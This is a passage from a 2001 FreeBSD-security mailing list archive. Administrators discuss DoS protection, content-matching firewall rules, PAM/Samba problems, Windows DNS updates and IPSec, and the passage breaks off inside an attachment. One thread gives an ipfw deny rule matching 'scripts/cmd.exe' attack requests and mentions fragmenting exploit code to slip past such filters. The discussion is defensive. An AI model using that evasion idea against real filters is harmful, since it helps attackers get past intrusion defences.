	id 5558F37B408; Thu, 27 Sep 2001 19:51:09 -0700 (PDT)
Received: from NDNM ([195.161.98.250])
	by ns.morning.ru (8.11.5/8.11.5) with ESMTP id f8S2p4d50920;
	Fri, 28 Sep 2001 10:51:04 +0800 (KRAST)
Date: Fri, 28 Sep 2001 10:52:10 +0800
From: Igor Podlesny <poige@morning.ru>
X-Mailer: The Bat! (v1.53d) UNREG / CD5BF9353B3B7091
Organization: Morning Network
X-Priority: 3 (Normal)
Message-ID: <1731110523918.20010928105210@morning.ru>
To: "Van Mathers" <vm28306@hotmail.com>
Cc: freebsd-isp@FreeBSD.ORG, freebsd-security@FreeBSD.ORG
Subject: Re: protect name services from denial of service?
In-Reply-To: <F224lYbvhBISmT6QcWY0000981d@hotmail.com>
References: <F224lYbvhBISmT6QcWY0000981d@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org



> Hi,

> I've some FreeBSD based name servers for a government agency.
> I'd like to develop some Denial of service prevention mechanism.
> Can anyone recommend configurations or sysctl knobs to turn
> to assist in DoS type attacks? Any advice or direction welcome
> here. VM

http://www.money-for-nothing.org/

> _________________________________________________________________
> Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp


> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-isp" in the body of the message



-- 
 Igor                            mailto:poige@morning.ru


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 20:25:47 2001
Delivered-To: freebsd-security@freebsd.org
Received: from cage.simianscience.com (cage.simianscience.com [64.7.134.1])
	by hub.freebsd.org (Postfix) with ESMTP id CAE8B37B401
	for <security@freebsd.org>; Thu, 27 Sep 2001 20:25:44 -0700 (PDT)
Received: (from root@localhost)
	by cage.simianscience.com (8.11.6/8.11.6) id f8S3Pit41583
	for security@freebsd.org; Thu, 27 Sep 2001 23:25:44 -0400 (EDT)
	(envelope-from mike@sentex.net)
Received: from chimp.sentex.net (fcage [192.168.0.2])
	by cage.simianscience.com (8.11.6/8.11.6av) with ESMTP id f8S3PaG41566
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 23:25:36 -0400 (EDT)
	(envelope-from mike@sentex.net)
Message-Id: <5.1.0.14.0.20010927231534.036396f0@192.168.0.12>
X-Sender: mdtancsa@192.168.0.12
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 27 Sep 2001 23:25:34 -0400
To: security@freebsd.org
From: Mike Tancsa <mike@sentex.net>
Subject: inspecting data with ipfw (ala hogwash)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Virus-Scanned: by AMaViS perl-10
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


Does anyone know of any patches similar in function to what hogwash does ? 
(http://hogwash.sourceforge.net).  Basically something to deny packets 
based on the content of the packets.  With the latest iptables on LINUX, 
you can now do matching on data portion as well.  Something like

ipfw add 666 deny log tcp from any to me 80 data "*scripts/cmd.exe*" ?

would be what I am after

	---Mike

--------------------------------------------------------------------
Mike Tancsa,                          	          tel +1 519 651 3400
Sentex Communications,     			  mike@sentex.net
Providing Internet since 1994                    www.sentex.net
Cambridge, Ontario Canada			  www.sentex.net/mike


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 20:48:42 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ns.morning.ru (ns.morning.ru [195.161.98.5])
	by hub.freebsd.org (Postfix) with ESMTP id 62C7137B40A
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 20:48:37 -0700 (PDT)
Received: from NDNM ([195.161.98.250])
	by ns.morning.ru (8.11.5/8.11.5) with ESMTP id f8S3mTd54336;
	Fri, 28 Sep 2001 11:48:29 +0800 (KRAST)
Date: Fri, 28 Sep 2001 11:49:36 +0800
From: Igor Podlesny <poige@morning.ru>
X-Mailer: The Bat! (v1.53d) UNREG / CD5BF9353B3B7091
Organization: Morning Network
X-Priority: 3 (Normal)
Message-ID: <1851113969924.20010928114936@morning.ru>
To: Mike Tancsa <mike@sentex.net>
Cc: security@FreeBSD.ORG
Subject: Re: inspecting data with ipfw (ala hogwash)
In-Reply-To: <5.1.0.14.0.20010927231534.036396f0@192.168.0.12>
References: <5.1.0.14.0.20010927231534.036396f0@192.168.0.12>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


> Does anyone know of any patches similar in function to what hogwash does ? 
> (http://hogwash.sourceforge.net).  Basically something to deny packets 
> based on the content of the packets.  With the latest iptables on LINUX, 
> you can now do matching on data portion as well.  Something like

> ipfw add 666 deny log tcp from any to me 80 data "*scripts/cmd.exe*" ?

What  if  somebody  just  wanted to PUT a description containing these
strings? ;-)

Then,  really  cool  nuts  could  fragment  up the exploit code to the
unrecognizeable (sorry for that term ;-), by this approach, state.

Another  interesting  question  is  "What  should  be done to this TCP
session".  For  e.g.,  this data wasn't in initial SYN segment, so the
connection has been established. At least I can say that 'deny' is too
harmful here, I suggest using 'reset' or 'unreach'. And one more thing
to remember -- lots of ppl use statefull firewall set-up.

In  common,  I agree that the idea is interesting... and in freebsd it
could be implemented with something like 'divert' and 'NATPd' (Network
Attack Tracking & Preventing ;-) which could be a userland daemon just
like NATd is.

BTW, thanx for the URL!

> would be what I am after

>         ---Mike

> --------------------------------------------------------------------
> Mike Tancsa,                                      tel +1 519 651 3400
> Sentex Communications,                            mike@sentex.net
> Providing Internet since 1994                    www.sentex.net
> Cambridge, Ontario Canada                         www.sentex.net/mike


> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message



-- 
 Igor                            mailto:poige@morning.ru


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 21:30:42 2001
Delivered-To: freebsd-security@freebsd.org
Received: from I-Sphere.COM (shell.i-sphere.com [209.249.146.70])
	by hub.freebsd.org (Postfix) with ESMTP id 6082537B40A
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 21:30:38 -0700 (PDT)
Received: (from fasty@localhost)
	by I-Sphere.COM (8.11.6/8.11.6) id f8S4Vrx92018;
	Thu, 27 Sep 2001 21:31:53 -0700 (PDT)
	(envelope-from fasty)
Date: Thu, 27 Sep 2001 21:31:53 -0700
From: faSty <fasty@i-sphere.com>
To: Mike Tancsa <mike@sentex.net>
Cc: security@FreeBSD.ORG
Subject: Re: inspecting data with ipfw (ala hogwash)
Message-ID: <20010927213153.A91935@i-sphere.com>
References: <5.1.0.14.0.20010927231534.036396f0@192.168.0.12>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <5.1.0.14.0.20010927231534.036396f0@192.168.0.12>; from mike@sentex.net on Thu, Sep 27, 2001 at 11:25:34PM -0400
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

yes, I used Guardian for snort on FreeBSD. It works very well.

-trev

On Thu, Sep 27, 2001 at 11:25:34PM -0400, Mike Tancsa wrote:
> 
> Does anyone know of any patches similar in function to what hogwash does ? 
> (http://hogwash.sourceforge.net).  Basically something to deny packets 
> based on the content of the packets.  With the latest iptables on LINUX, 
> you can now do matching on data portion as well.  Something like
> 
> ipfw add 666 deny log tcp from any to me 80 data "*scripts/cmd.exe*" ?
> 
> would be what I am after
> 
> 	---Mike
> 
> --------------------------------------------------------------------
> Mike Tancsa,                          	          tel +1 519 651 3400
> Sentex Communications,     			  mike@sentex.net
> Providing Internet since 1994                    www.sentex.net
> Cambridge, Ontario Canada			  www.sentex.net/mike
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

-- 
"It's a small world, but I wouldn't want to have to paint it."
		-- Steven Wright

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 21:41:20 2001
Delivered-To: freebsd-security@freebsd.org
Received: from I-Sphere.COM (shell.i-sphere.com [209.249.146.70])
	by hub.freebsd.org (Postfix) with ESMTP id 4C85937B40B
	for <security@freebsd.org>; Thu, 27 Sep 2001 21:41:14 -0700 (PDT)
Received: (from fasty@localhost)
	by I-Sphere.COM (8.11.6/8.11.6) id f8S4gUZ92173;
	Thu, 27 Sep 2001 21:42:30 -0700 (PDT)
	(envelope-from fasty)
Date: Thu, 27 Sep 2001 21:42:30 -0700
From: faSty <fasty@i-sphere.com>
To: Mike Tancsa <mike@sentex.net>
Cc: security@freebsd.org
Subject: Re: inspecting data with ipfw (ala hogwash)
Message-ID: <20010927214230.C91935@i-sphere.com>
References: <5.1.0.14.0.20010927231534.036396f0@192.168.0.12>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <5.1.0.14.0.20010927231534.036396f0@192.168.0.12>; from mike@sentex.net on Thu, Sep 27, 2001 at 11:25:34PM -0400
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Guardian's website http://home.golden.net/~elim/

-trev


On Thu, Sep 27, 2001 at 11:25:34PM -0400, Mike Tancsa wrote:
> 
> Does anyone know of any patches similar in function to what hogwash does ? 
> (http://hogwash.sourceforge.net).  Basically something to deny packets 
> based on the content of the packets.  With the latest iptables on LINUX, 
> you can now do matching on data portion as well.  Something like
> 
> ipfw add 666 deny log tcp from any to me 80 data "*scripts/cmd.exe*" ?
> 
> would be what I am after
> 
> 	---Mike
> 
> --------------------------------------------------------------------
> Mike Tancsa,                          	          tel +1 519 651 3400
> Sentex Communications,     			  mike@sentex.net
> Providing Internet since 1994                    www.sentex.net
> Cambridge, Ontario Canada			  www.sentex.net/mike
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

-- 
What this country needs is a dime that will buy a good five-cent
bagel.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 22:46:38 2001
Delivered-To: freebsd-security@freebsd.org
Received: from smtp-2.enteract.com (smtp-2.enteract.com [207.229.143.4])
	by hub.freebsd.org (Postfix) with ESMTP id 9F44337B40C
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 22:46:34 -0700 (PDT)
Received: from bjorn.goddamnbastard.org (bjorn.goddamnbastard.org [216.80.6.225])
	by smtp-2.enteract.com (Postfix) with SMTP id EACDF14F18
	for <security@FreeBSD.ORG>; Fri, 28 Sep 2001 00:46:33 -0500 (CDT)
Received: (qmail 56014 invoked by uid 1000); 28 Sep 2001 05:46:33 -0000
Date: Fri, 28 Sep 2001 00:46:33 -0500
From: ryan beasley <ryanb@goddamnbastard.org>
To: faSty <fasty@i-sphere.com>
Cc: Mike Tancsa <mike@sentex.net>, security@FreeBSD.ORG
Subject: Re: inspecting data with ipfw (ala hogwash)
Message-ID: <20010928004633.A52008@bjorn.goddamnbastard.org>
References: <5.1.0.14.0.20010927231534.036396f0@192.168.0.12> <20010927213153.A91935@i-sphere.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="k1lZvvs/B4yU6o8G"
Content-Disposition: inline
User-Agent: Mutt/1.2.4i
In-Reply-To: <20010927213153.A91935@i-sphere.com>; from fasty@i-sphere.com on Thu, Sep 27, 2001 at 09:31:53PM -0700
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--k1lZvvs/B4yU6o8G
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, Sep 27, 2001 at 09:31:53PM -0700, faSty wrote:
> yes, I used Guardian for snort on FreeBSD. It works very well.

    Hm, I don't believe that this is what Mike was looking for.
    Guardian, at least from my understanding, adds deny rules to your
    firewall based on incoming packets.  Hogwash, on the other hand,
    works at a lower level (it handles Ethernet framing, right?  I'm a
    bit tired to check at the moment.  <grin>) and simply acts on the
    packet/frame without mucking w/ firewall rules whatsoever.

    I hope that was accurate, and more importantly, helps.

    g'night!

--=20
ryan beasley				<ryanb@goddamnbastard.org>
professional fat bastard		http://www.goddamnbastard.org

	GPG Key ID 0x36321D13 with fingerprint
	2074 CEB8 68AD 351A 85E6  98EB 09BA 36D9 3632 1D13

--k1lZvvs/B4yU6o8G
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE7tA64Cbo22TYyHRMRAn6zAJ0XhRVvAVOHQzvvBfVYUEJ+xavh5wCgsdsh
chL4wMp8GSHdHRBxWxYaNBM=
=3oQ9
-----END PGP SIGNATURE-----

--k1lZvvs/B4yU6o8G--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28  3:13:20 2001
Delivered-To: freebsd-security@freebsd.org
Received: from gecko.sbs.de (gecko.sbs.de [194.138.37.40])
	by hub.freebsd.org (Postfix) with ESMTP id CCACD37B40C
	for <freebsd-security@FreeBSD.ORG>; Fri, 28 Sep 2001 03:13:16 -0700 (PDT)
X-Envelope-Sender-Is: Tadas.Lotuzas@rbg2.siemens.de (at relayer gecko.sbs.de)
Received: from blackmail.fth.sbs.de (blackmail.fth.sbs.de [192.129.41.66])
	by gecko.sbs.de (8.11.0/8.11.0) with ESMTP id f8SADFN08215
	for <freebsd-security@FreeBSD.ORG>; Fri, 28 Sep 2001 12:13:15 +0200 (MET DST)
Received: from rbgs372a.rbg.siemens.de (rbgs372a.rbg.siemens.de [144.145.74.164])
	by blackmail.fth.sbs.de (8.11.1/8.11.1) with SMTP id f8SADDW14138
	for <freebsd-security@FreeBSD.ORG>; Fri, 28 Sep 2001 12:13:13 +0200 (MET DST)
Received: from 127.0.0.1 by rbgs372a.rbg.siemens.de (InterScan E-Mail VirusWall NT); Fri, 28 Sep 2001 12:13:10 +0200
Received: by rbgs372a.rbg.siemens.de with Internet Mail Service (5.5.2653.19)
	id <TXTY0HWS>; Fri, 28 Sep 2001 12:13:09 +0200
Message-ID: <4552966B8E45D311B8AF005004A7E0A04066C5@mail.at.siemens.lt>
From: Lotuzas Tadas <Tadas.Lotuzas@rbg2.siemens.de>
To: freebsd-security@FreeBSD.ORG
Subject: About PAM
Date: Fri, 28 Sep 2001 12:12:30 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hello

I have installed FreeBSD 4.3  with pam_smb-1.1.6 pakage and samba pakage,
work fine with domain users auth. But after upgrade from 4.3 to 4.4 samba
can't communicate with domain, some thing wron in PAM. I recompile both
packages, but still nothing same problem I can't access to samba shares from
domain .

Help me please!

Tadas Lotuzas
BAT OI

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28  6: 0:12 2001
Delivered-To: freebsd-security@freebsd.org
Received: from sv07e.atm-tzs.kmjeuro.com (sv07e.atm-tzs.kmjeuro.com [193.81.94.207])
	by hub.freebsd.org (Postfix) with ESMTP id 6AAE837B40D
	for <freebsd-security@freebsd.org>; Fri, 28 Sep 2001 06:00:03 -0700 (PDT)
Received: (from root@localhost)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) id f8SCxrF96195
	for freebsd-security@freebsd.org; Fri, 28 Sep 2001 14:59:53 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Received: from kmjeuro.com (adsl.sbg.kmjeuro.com [193.154.189.16])
	(authenticated)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) with ESMTP id f8SCxkv96062
	for <freebsd-security@freebsd.org>; Fri, 28 Sep 2001 14:59:46 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Message-ID: <3BB4743E.5080906@kmjeuro.com>
Date: Fri, 28 Sep 2001 14:59:42 +0200
From: "Karl M. Joch" <k.joch@kmjeuro.com>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.3) Gecko/20010812
X-Accept-Language: en-us
MIME-Version: 1.0
To: freebsd-security@freebsd.org
Subject: Windows 2000 Server behind IPFW/NAT tries to update external DNS?
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X--virus-scanner: scanned for Virus and dangerous attachments on sv07e.atm-tzs.kmjeuro.com (System Setup/Maintainance: http://www.ctseuro.com/)
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

i know this is quit off-topic, but i think this could affect others too. 
  i have a FreeBSD IPFW/NAT box at a customer. they hav an windows 2000 
server in their local net running on 192.168.x.x. i have no access to 
this server, but the admin showed me he has not clicked the register in 
dns button on this server as on all workstations. before doing this all 
of the workstations tried to update their entry in the external dns for 
their domain. on the workstations this worked. but the server still 
tries to update DNS1 and DNS2 for their domain (the local net is build 
up on theirdomain.tld). i blocked the access from this server to the dns 
and was surprised:

01300   35367   4838496 deny ip from 192.168.1.5 to 193.81.94.66
01400   58935   3418230 deny ip from 192.168.1.5 to 193.81.94.143

this stupid thing doesnt accept that there is no way to update and tries 
it endless. without blocking there showed up a lot of denied updates in 
the bind log (dns1/2) are in my server room. also if i would replace 
this stupid thing with samba, there is no way for it. any idea how to 
get this stupid M$ thing to not try to update the DNS? i know there are 
things in W2K regarding active directory and DNS, but still havnt found 
a way.

-- 
--
Best regards / Mit freundlichen Gruessen,

Karl M. Joch
KMJ Consulting - CTS Consulting & Trade Service
http://www.kmjeuro.com - http://www.ctseuro.com
k.joch@kmjeuro.com - k.joch@ctseuro.com

GSM : +43-664-3407888

Unsere Services:
http://www.proline.at - Netzwerk und Sicherheitstechnik
http://www.eushop.net - Onlineshop und Applikationen einfach mieten
http://www.freebsd.at - Das Power Betriebssystem


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28  6:45:46 2001
Delivered-To: freebsd-security@freebsd.org
Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200])
	by hub.freebsd.org (Postfix) with ESMTP
	id E1BAD37B418; Fri, 28 Sep 2001 06:45:33 -0700 (PDT)
Received: from pc1-card3-0-cust220.cdf.cable.ntl.com
	([62.252.49.220] helo=rhadamanth.private.submonkey.net ident=exim)
	by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2)
	id 15mxxH-0006vx-00; Fri, 28 Sep 2001 14:45:27 +0100
Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1)
	id 15mxwu-0003jF-00; Fri, 28 Sep 2001 14:45:04 +0100
Date: Fri, 28 Sep 2001 14:45:04 +0100
From: setantae <setantae@submonkey.net>
To: "Karl M. Joch" <k.joch@kmjeuro.com>
Cc: freebsd-questions@freebsd.org, freebsd-security@freebsd.org
Subject: Re: Windows 2000 Server behind IPFW/NAT tries to update external DNS?
Message-ID: <20010928144504.A14320@rhadamanth>
Reply-To: freebsd-questions@FreeBSD.org
References: <3BB4743E.5080906@kmjeuro.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BB4743E.5080906@kmjeuro.com>; from k.joch@kmjeuro.com on Fri, Sep 28, 2001 at 02:59:42PM +0200
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

[More appropriate in -questions (if anywhere), followups set]

On Fri, Sep 28, 2001 at 02:59:42PM +0200, Karl M. Joch wrote:
> i know this is quit off-topic, but i think this could affect others too. 
>   i have a FreeBSD IPFW/NAT box at a customer. they hav an windows 2000 
> server in their local net running on 192.168.x.x. i have no access to 
> this server, but the admin showed me he has not clicked the register in 
> dns button on this server as on all workstations.

That box is ticked by default.
Also, there is one box per interface, and even though it doesn't tell you,
you have to reboot after unticking the box for it to take effect.

Ceri

-- 
keep a mild groove on

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28  7:56:44 2001
Delivered-To: freebsd-security@freebsd.org
Received: from exchmx2.lsuhsc.edu (exchmx2.lsuhsc.edu [155.58.212.90])
	by hub.freebsd.org (Postfix) with ESMTP id E328737B405
	for <security@FreeBSD.ORG>; Fri, 28 Sep 2001 07:56:39 -0700 (PDT)
Received: by exchmx2.lsuhsc.edu with Internet Mail Service (5.5.2653.19)
	id <TTS9D8PM>; Fri, 28 Sep 2001 09:56:28 -0500
Message-ID: <DAC809EAC7E4594AA0696EF512F6ABF104521B90@sh-exch>
From: "Mire, John" <jmire@lsuhsc.edu>
To: 'Igor Podlesny' <poige@morning.ru>, Mike Tancsa <mike@sentex.net>
Cc: security@FreeBSD.ORG
Subject: RE: inspecting data with ipfw (ala hogwash)
Date: Fri, 28 Sep 2001 09:56:26 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

our use of snort seems to indicate that fragmenting the code doesn't work
b/c of the frag2 preprocessor that reassembles packets and sends them
through the detection engine...

-----Original Message-----
From: Igor Podlesny [mailto:poige@morning.ru]
Sent: Thursday, September 27, 2001 22:50
To: Mike Tancsa
Cc: security@FreeBSD.ORG
Subject: Re: inspecting data with ipfw (ala hogwash)



> Does anyone know of any patches similar in function to what hogwash does ?

> (http://hogwash.sourceforge.net).  Basically something to deny packets 
> based on the content of the packets.  With the latest iptables on LINUX, 
> you can now do matching on data portion as well.  Something like

> ipfw add 666 deny log tcp from any to me 80 data "*scripts/cmd.exe*" ?

What  if  somebody  just  wanted to PUT a description containing these
strings? ;-)

Then,  really  cool  nuts  could  fragment  up the exploit code to the
unrecognizeable (sorry for that term ;-), by this approach, state.

Another  interesting  question  is  "What  should  be done to this TCP
session".  For  e.g.,  this data wasn't in initial SYN segment, so the
connection has been established. At least I can say that 'deny' is too
harmful here, I suggest using 'reset' or 'unreach'. And one more thing
to remember -- lots of ppl use statefull firewall set-up.

In  common,  I agree that the idea is interesting... and in freebsd it
could be implemented with something like 'divert' and 'NATPd' (Network
Attack Tracking & Preventing ;-) which could be a userland daemon just
like NATd is.

BTW, thanx for the URL!

> would be what I am after

>         ---Mike

> --------------------------------------------------------------------
> Mike Tancsa,                                      tel +1 519 651 3400
> Sentex Communications,                            mike@sentex.net
> Providing Internet since 1994                    www.sentex.net
> Cambridge, Ontario Canada                         www.sentex.net/mike


> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message



-- 
 Igor                            mailto:poige@morning.ru


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Fri Sep 28  9:27:47 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ranger.argus-systems.com (ranger.argus-systems.com [206.221.232.80])
	by hub.freebsd.org (Postfix) with ESMTP id DAC9437B40C
	for <freebsd-security@freebsd.org>; Fri, 28 Sep 2001 09:27:39 -0700 (PDT)
Received: from dedog.argus-systems.co.uk (host62-6-115-175.host.btclick.com [62.6.115.175])
	by ranger.argus-systems.com (8.9.3/8.9.3) with SMTP id LAA27321
	for <freebsd-security@freebsd.org>; Fri, 28 Sep 2001 11:27:36 -0500 (CDT)
Received: by dedog.argus-systems.co.uk (sSMTP sendmail emulation); Fri, 28 Sep 2001 17:30:54 +0100
Date: Fri, 28 Sep 2001 17:30:54 +0100
From: Fergus Cameron <cameron@argus-systems.com>
To: security <freebsd-security@freebsd.org>
Subject: Re: IPSec with a Solaris 8 box
Message-ID: <20010928173053.E3792@dedog.argus-systems.co.uk>
Mail-Followup-To: security <freebsd-security@freebsd.org>
References: <3BB0EEE5.64D0D4F@iaces.com>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="a8Wt8u1KmwUX3Y2C"
Content-Disposition: inline
In-Reply-To: <3BB0EEE5.64D0D4F@iaces.com>; from proot@iaces.com on Tue, Sep 25, 2001 at 03:53:57PM -0500
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--a8Wt8u1KmwUX3Y2C
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

> Anybody done IPSEC between a FreeBSD box and a Solaris 8 box?

yup, please find attached.

also note that you need the optional encryption download from sun.
something it took me almost a week of testing before somebody finally
let me know - it doesn't appear on any docs as far as i can tell.

--a8Wt8u1KmwUX3Y2C
Content-Type: text/plain; charset=us-ascii
Content-Description: solaris config entries (not single file on box)
Content-Disposition: attachment; filename="ipsec-test.conf"

add 192.168.1.30 192.168.1.20
